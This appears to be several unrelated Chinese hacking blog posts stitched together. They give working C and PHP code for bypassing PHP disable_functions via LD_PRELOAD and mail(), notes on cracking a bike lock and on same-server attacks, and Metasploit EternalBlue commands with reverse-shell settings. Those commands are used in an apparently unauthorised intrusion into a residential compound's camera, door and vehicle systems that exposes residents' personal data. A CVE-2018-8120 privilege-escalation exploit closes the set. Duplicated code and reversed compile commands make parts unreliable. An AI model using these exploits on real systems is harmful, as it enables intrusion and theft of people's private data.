在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措施,后续的渗透行为都因此而止步。笔者这里分享一个绕过思路,希望你能在实际测试中派上用场。

0x02 绕过思路
严苛环境下php设置的disable_function如下:
dl
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec

笔者发现在这种情况下还有几种执行系统命令的方法,例如通过/proc/self/mem 修改got来劫持库函数调用以及php反序列化内存破坏漏洞利用,但这些方法利用起来难度都较大,你得先搞清楚内存偏移地址等等知识点,并搭建相同的平台进行调试。而且一般来说安全配置还会严格限制用户的文件权限并设置open_basedir,你根本没有机会去读取mem等文件,很难利用成功。

那么还有没有别的方法?putenv和mail函数给了我们希望,如果系统没有修补bash漏洞,利用网上已经给出的http://www.exploit-db.com/exploits/35146/ 可以轻松绕过。

这个poc大体思路是通过putenv来设置一个包含自定义函数的环境变量,通过mail函数来触发。为什么mail函数能触发,因为mail函数在执行过程中,php与系统命令执行函数有了交集,它调用了popen函数来执行,如果系统有bash漏洞,就直接触发了恶意代码的执行。但一般这种漏洞,安全意识好一点的运维,都会给打上补丁了。

那么我们来继续挖掘一下它的思路,php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。
0x03 LD_PRELOAD hack
在UNIX的动态链接库的世界中,LD_PRELOAD是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。如果你想进一步了解这些知识,可以去网上搜索相关文章,这里不做过多解释,直接来看一段例程,就能明白利用原理。
例程:verifypasswd.c

!c

include <stdio.h>

include <string.h>

int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {

    printf("usage: %s <password>/n", argv[0]);
    return;

}
if (!strcmp(passwd, argv[1])) {

    printf("Correct Password!/n");
    return;

}
printf("Invalid Password!/n");
}

!c

include <stdio.h>

include <string.h>

int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {

    printf("usage: %s <password>/n", argv[0]);
    return;

}
if (!strcmp(passwd, argv[1])) {

    printf("Correct Password!/n");
    return;

}
printf("Invalid Password!/n");
}
程序很简单,根据判断传入的字符串是否等于”password”,得出两种不同结果。 其中用到了标准C函数strcmp函数来做比较,这是一个外部调用函数,我们来重新编写一个同名函数:

!c

include <stdio.h>

include <string.h>

int strcmp(const char s1, const char s2){

printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;

}

!c

include <stdio.h>

include <string.h>

int strcmp(const char s1, const char s2){

printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;

}
把它编译为一个动态共享库:

$ gcc -o verifypasswd.c verifypasswd
$ gcc -shared verifypasswd -o hack.so

$ gcc -o verifypasswd.c verifypasswd
$ gcc -shared verifypasswd -o hack.so
通过LD_PRELOAD来设置它能被其他调用它的程序优先加载:

$ export LD_PRELOAD="./hack.so"

$ export LD_PRELOAD="./hack.so"
运行给出的例程:

$ ./verifypasswd abcd
$ Correct Password!

$ ./verifypasswd abcd
$ Correct Password!
我们看到随意输入字符串都会显示密码正确,这说明程序在运行时优先加载了我们自己编写的程序。这也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们自己编写的程序,实现劫持。
0x04 实战测试
那么我们来看一下sendmail函数都调用了哪些库函数,使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数:

[yiyang@bogon Desktop]$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 202 entries:
Num: Value Size Type Bind Vis Ndx Name

 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
 1: 0000000000000238     0 SECTION LOCAL  DEFAULT    1 
 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getegid@GLIBC_2.2.5 (2)
 3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (2)
 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND pcre_fullinfo
 5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tzset@GLIBC_2.2.5 (2)
 6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcspn@GLIBC_2.2.5 (2)
 7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_toupper_loc@GLIBC_2.3 (3)
 8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_tolower_loc@GLIBC_2.3 (3)
 9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getopt@GLIBC_2.2.5 (2)
10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.2.5 (2)
11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fork@GLIBC_2.2.5 (2)
12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND db_version
13: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.2.5 (2)
14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strerror@GLIBC_2.2.5 (2)
15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.2.5 (2)
16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strchr@GLIBC_2.2.5 (2)
17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND seteuid@GLIBC_2.2.5 (2)
18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strspn@GLIBC_2.2.5 (2)
19: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)
20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)

......
[yiyang@bogon Desktop]$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 202 entries:
Num: Value Size Type Bind Vis Ndx Name

 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
 1: 0000000000000238     0 SECTION LOCAL  DEFAULT    1 
 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getegid@GLIBC_2.2.5 (2)
 3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (2)
 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND pcre_fullinfo
 5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND tzset@GLIBC_2.2.5 (2)
 6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcspn@GLIBC_2.2.5 (2)
 7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_toupper_loc@GLIBC_2.3 (3)
 8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_tolower_loc@GLIBC_2.3 (3)
 9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getopt@GLIBC_2.2.5 (2)
10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND socket@GLIBC_2.2.5 (2)
11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fork@GLIBC_2.2.5 (2)
12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND db_version
13: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND __environ@GLIBC_2.2.5 (2)
14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strerror@GLIBC_2.2.5 (2)
15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.2.5 (2)
16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strchr@GLIBC_2.2.5 (2)
17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND seteuid@GLIBC_2.2.5 (2)
18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strspn@GLIBC_2.2.5 (2)
19: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)
20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)

......
从中选取一个合适的库函数后我们就可以进行测试了:
编制我们自己的动态链接程序。
通过putenv来设置LD_PRELOAD,让我们的程序优先被调用。
在webshell上用mail函数发送一封邮件来触发。
我们来测试删除一个新建的文件,这里我们选取geteuid()函数来改造,先在/tmp目录新建一个文件check.txt。
编写hack.c:

include <stdlib.h>

include <stdio.h>

include <string.h>

void payload() {

    system("rm /tmp/check.txt");

}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4
5
6
7
8
9
10
11
12
13

include <stdlib.h>

include <stdio.h>

include <string.h>

void payload() {

    system("rm /tmp/check.txt");

}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:

$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
1
2
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:

<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:

[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
1
2
3
4
5
6
7
8
[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
0x05 小结
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反三。

前段时间一篇《ofo 小黄车又遭黑客破解:这次只需一部手机》的文章引起了我的注意(详见雷锋网报道《ofo 小黄车又遭黑客破解:这次只需一部手机》),主要是讲我们最常见的 ofo 小黄车锁——天王星,这是一款集合 GPRS 、密码、蓝牙模块的锁具,从这款锁蓝牙开锁的入手,使用 Android App 和常见的 Android 抓包工具达到破解的目的。

使用蓝牙开锁的原理

用户扫码后,手机 App 会向服务器发送开锁请求,随后服务器把蓝牙信息发送回手机,手机 App 通过蓝牙把这些信息发送给锁达到开锁目的。整个过程里面,用户的手机充当着一个中间人的角色,连接服务器与单车。
1.jpg
这里我对蓝牙开锁这个思路进行了复现,下面是视频片段

点击查看实战视频

总结:
这种方式还算是比较鸡肋的,使用条件是成功开锁一次获取token,记住这辆车的MAC地址、编号,只有你的信息足够多才能实现真正的免费骑行,本视频仅做研究测试展示。

旁注攻击就是说在攻击目标时,对目标网站“无法下手”找不到目标网站的漏洞,那么攻击者就可以通过在与目标站点同一服务器下的站点渗透如,从而获取目标站点的权限,这过程就是旁注攻击
简单的举个栗子,比如一个服务器有如下站点:
1.png

当攻击者在攻击www.iamfree.a的时候,没有发现漏洞,无法拿下此站点,那么攻击者就可以通过攻击www.iamfree.b并且成功攻破,得到了Root权限,那么这里不但www.iamfree.a的数据会被泄露,www.iamfree.b的数据也同样会被泄露,而www.iamfree.c网站是不会受到影响的。因为他不与www.iamfree.b在同一个数据库。但也不是说绝对的安全的,攻击者也可以通过数据库提权的方式获取到服务器管理员的权限,从而获取Access数据库里的内容。

大网站也存在有旁注攻击的风险,比如:qq.com,他有很多子域名,如图
2.png
如此多的子域名,不可能说每个站点都一定是安全的,所以我们可以子域名来渗透到主域名。

那么疑问来了,攻击者怎么知道目标服务器上放置了哪些网站呢?这时候就要用到 IP逆向查询了。

IP逆向查询

在线查询服务器下有哪些站点的网站:

https://www.yougetsignal.com/tools/web-sites-on-web-server/

3.png

http://s.tool.chinaz.com/same/

4.png

https://dns.aizhan.com/

5.png

利用必应搜索引擎来IP逆向查询

6.png

前言

博主从小就是一个喜欢把事情简单化的男人,但是现实总是在不经意间给你太多的惊喜,比如不停的搬家。

博主从大学毕业到现在前前后后凑足了10次搬家运动,终于在第10次搬家的时候搬进了真正属于自己的房子。

15年底趁着房价最低的时候捡了个漏,一咬牙买下一套两房半小居室,17年交房装修,终于在18年初计划搬进去住,博主我终于再也不用搬家了,心情愉悦,住进去之后就开始忙乎各种琐事,所以这几个月是非常的繁忙,博客也更得少,不过内容都在笔记里面,慢慢更。

博主所购的小区对自己的智能化系统宣传的很到位,所以闲下来的时候博主我就对小区的安防系统进行一次简单的渗透,轻松拿下各种安防系统,这篇文章就来详细的说明一下。

准备

开始之前,博主需要对环境进行一个简单的描述,以便大家能够在脑海中脑补一下整个渗透测试的过程,算是博主在线下渗透的一个例子吧,往后还有对整个商场各种店铺各种的渗透过程,都会一一讲解。

好了,废话就不多说了,咱们既然是对网络系统进行渗透测试,自然是得有一个入口,那这个入口在哪找呢?

大家都知道,一般小区这种内部的网络都是不直接连接到外网的,如果连那也是做了隔离,单独有一个跳板来做转发,这样相对比较安全,但是正常情况都是没外网的,这种局域网系统有两个突出的特点。

第一点就是维护人员过分的信任了内网的机器,认为只要不连接外网就基本上没事,高枕无忧,真是图样图森破。

第二点就是没有安全防护软件,就算有,那也是病毒特征库千百年不会更新,跟摆设一样,没有外网更新个毛线,这一点后面有机器可以验证。

所以具备这两个特点的内部局域网是非常脆弱的,只要找到一个入口,基本上整个网络就game over了,这个入口就非常的好找了。

众所周知,现在的小区都是家家户户安装了一个可视对讲机,这玩意有时候挺好用,比如有客人来了,楼下大门门禁可以用这玩意远程开门,可以语音对讲,可以看到对方的脸,还可以录音录像,不仅如此,还能跟家里的烟雾报警器连起来,发生火灾直接通知物业并发出警报,还可以呼叫其他住户来一个免费的局域网语音聊天,功能可以说是相当丰富了。

你猜的没错,咱们整个渗透测试过程就从这个设备开始,先来看看咱们这个厉害的可视对讲机长什么样

1.jpg
通过缺省弱口令进入工程模式,拿到ip地址,网关还有服务器地址
2.jpg
3.jpg
拆下对讲机
4.jpg
我擦嘞,这网线也太短了吧,上工具
5.jpg
6.jpg
把网线进行延长方便接交换机、路由器、笔记本之类的设备,最后确认下通讯是否正确
7.jpg
基本准备工作搞定之后就开始进行入侵渗透了。
扫描

根据之前撸光猫内网的经验,这里的IP地址肯定是固定的,而且跟住户号是绑定的,如果使用自己的iP地址进行测试,万一出啥问题那不是非常的尴尬,既然现在很多业主都还没有入住,那么IP地址池也有很多的空闲,就使用其他住户的IP地址吧,只要不冲突就行,说干就干,上装备:

一个充电宝、一个路由器、一台笔记本

8.jpg
9.jpg
10.jpg
通电后设置路由器的固定IP
12.jpg
这样笔记本通过无线wifi就可以对IP段进行扫描了,我这使用的扫描软件是Angry IP Scanner,图形界面用起来很爽,而且速度也快
13.png
对192.165.0.1/16进行扫描发现存活主机1256个,为了对IP地址快速分类,将存活的IP地址全部导出,编写python脚本对ip的http响应头进行分类,最终分为下面的这几类:
第一类

![A1.png
A2.png][13]
14.png
第二类

DNVRS-Webs
Hikvision-webs/
App-webs/
这三种都是海康威视的监控探头,登录界面有以下几种

A3.pngA4.pngA5.png
只有中间那种可以无限次输错密码进行爆破,其他两种都是输错五次就锁定
第三类

Net Keybord-Webs
这是一个网络键盘,通常用于操作监控的云台转动,比如球机的操作杆,登录界面

C1.png
密码输错6次就锁定。
第四类

C2.pngC3.pngC4.png
18.png
通过对这几种设备的归类扫描,最终确定了几台windows服务器

192.165.15.174
192.165.15.177
192.165.15.190
192.165.15.200
192.165.30.2
使用Nmap扫描结果如下

Nmap 7.70 scan initiated Fri May 18 23:51:30 2018 as: nmap -iL something_ip.txt -oN scaned.txt -T4 --openNmap scan report for 192.165.15.174

Host is up (0.063s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s2383/tcp open ms-olap4
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown

Nmap scan report for 192.165.15.190
Host is up (0.046s latency).
Not shown: 992 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown

Nmap scan report for 192.165.15.200
Host is up (0.030s latency).
Not shown: 991 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Nmap scan report for 192.165.30.2
Host is up (0.064s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown# Nmap done at Fri May 18 23:51:46 2018 -- 5 IP addresses (4 hosts up) scanned in 16.25 seconds
很明显,四台机器都开了445端口,其中 192.165.15.174 开了1433端口,明显是sql server数据库,192.165.30.2还开了3389,这台机器是在门禁机里面见过,是门禁系统的服务器。

下面就重点对这几台机器入手,使用msf扫描下看是不是都存在smb漏洞(ms17_010),这漏洞在局域网真的超级好用,扫描截图

111.png
发现只有192.165.15.174 不存在ms17_010,其他三台都存在,操作系统分别是
192.165.15.190 win7 sp1 x86

192.165.15.200 win7 sp1 x64

192.165.30.2 win7 sp1 x86

现在目标就非常明确了,但是有个问题,msf自带的利用模块只针对x64版本的操作系统,对于x86版本的系统只能使用其他工具,emmmmm....

一阵思考之后,博主决定先搞定那台64位win7,为了能够正常的反弹shell回来,我把路由器改成桥接模式,本机电脑设置固定IP,这样我的机器就跟目标机器处于相同网络拓扑,反弹自然无压力

AA1.png
so...
msf的用法我这里就不多说了,如果真不知道,可以留言...给出一张run vnc的截图,拿下监控系统

D1.pngD2.pngD3.png
22.png
有趣的是这台机器上居然安装了360安全卫士...
注意看上面一张图的那个监控室,管理员面前有三台机器,所以另外两台我下一步就要搞定。

上面说64位win7已经拿下,现在搞定32位机器,使用 https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit 这里的Ruby脚本即可,需要注意的是如果本机是kali 64位的需要安装 wine32,安装方法是

dpkg --add-architecture i386 && apt-get update && apt-get install wine32
而且全程操作需要在root下面,安装完wine32后执行一下 wine32 cmd.exe 这样会自动在/root下面创建.wine目录,这个目录msf会用到

使用

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
将脚本克隆到本地,然后把目录下的deps 目录和rb文件复制到msf的modules路径下,这样既可以使用了(PS:我这里只复制了rb脚本,deps没有复制过去所以命令不太一样),具体命令如下

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(windows/smb/eternalblue_doublepulsar) > set ETERNALBLUEPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
ETERNALBLUEPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set DOUBLEPULSARPATH /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
DOUBLEPULSARPATH => /home/poweroff/Github/Eternalblue-Doublepulsar-Metasploit/deps/
msf exploit(windows/smb/eternalblue_doublepulsar) > set TARGETARCHITECTURE x86
TARGETARCHITECTURE => x86
msf exploit(windows/smb/eternalblue_doublepulsar) > set PROCESSINJECT wlms.exe
PROCESSINJECT => wlms.exe
msf exploit(windows/smb/eternalblue_doublepulsar) > show targets

Exploit targets:

Id Name
-- ----
0 Windows XP (all services pack) (x86) (x64)
1 Windows Server 2003 SP0 (x86)
2 Windows Server 2003 SP1/SP2 (x86)
3 Windows Server 2003 (x64)
4 Windows Vista (x86)
5 Windows Vista (x64)
6 Windows Server 2008 (x86)
7 Windows Server 2008 R2 (x86) (x64)
8 Windows 7 (all services pack) (x86) (x64)

msf exploit(windows/smb/eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhostset rhost
msf exploit(windows/smb/eternalblue_doublepulsar) > set rhost 192.165.15.190
rhost => 192.165.15.190
msf exploit(windows/smb/eternalblue_doublepulsar) > set lhost 192.165.7.11
lhost => 192.165.7.11
msf exploit(windows/smb/eternalblue_doublepulsar) > exploit
不出意外的话攻击就成功了,给出攻击成功的截图。

第一个是门禁系统,没装杀毒软件,就只有一些门禁卡管理软件

D4.png
第二个系统是车辆管理系统,车辆出入库时候用的
D5.png
总结

好了,至此,博主对小区的安防系统进行了简单的渗透测试,成功拿下关键系统,其中在服务器中还发现了大量的敏感文件,包括业主的个人信息,车辆信息,车辆出入登记信息等等,难怪说各种骚扰电话,这简直要分分钟泄露。

后记

安全是一个整体,千里之堤溃于蚁穴,下一次把门禁卡的复制破解还有自动控制升降杠的综合在一起再写一篇。

漏洞描述

部分版本Windows系统win32k.sys组件的NtUserSetImeInfoEx()系统服务函数内部未验证内核对象中的空指针对象,普通应用程序可利用该空指针漏洞以内核权限执行任意代码。

受影响的系统版本

以下软件版本受到影响。未列出的版本要么超过其支持生命周期,要么不受影响。要确定软件版本或版本的支持生命周期,请查阅Microsoft支持生命周期。

Windows 7 for 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows Server 2008 for Itanium-Based Systems ServicePack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 R2 for Itanium-Based Systems ServicePack 1

Windows Server 2008 R2 for x64-based Systems ServicePack 1

Windows Server 2008 R2 for x64-based Systems ServicePack 1

使用

cve-2018-8120利用@ unamer(https://GitHub。COM / unamer)
用法:命令例子:exp.exe“网络用户管理/广告“

1.png

支持x32和x64。

下载

CVE-2018-8120.zip

更多分享下载

https://github.com/unamer/CVE-2018-8120

https://github.com/alpha1ab/CVE-2018-8120

https://github.com/unamer/CVE-2018-8120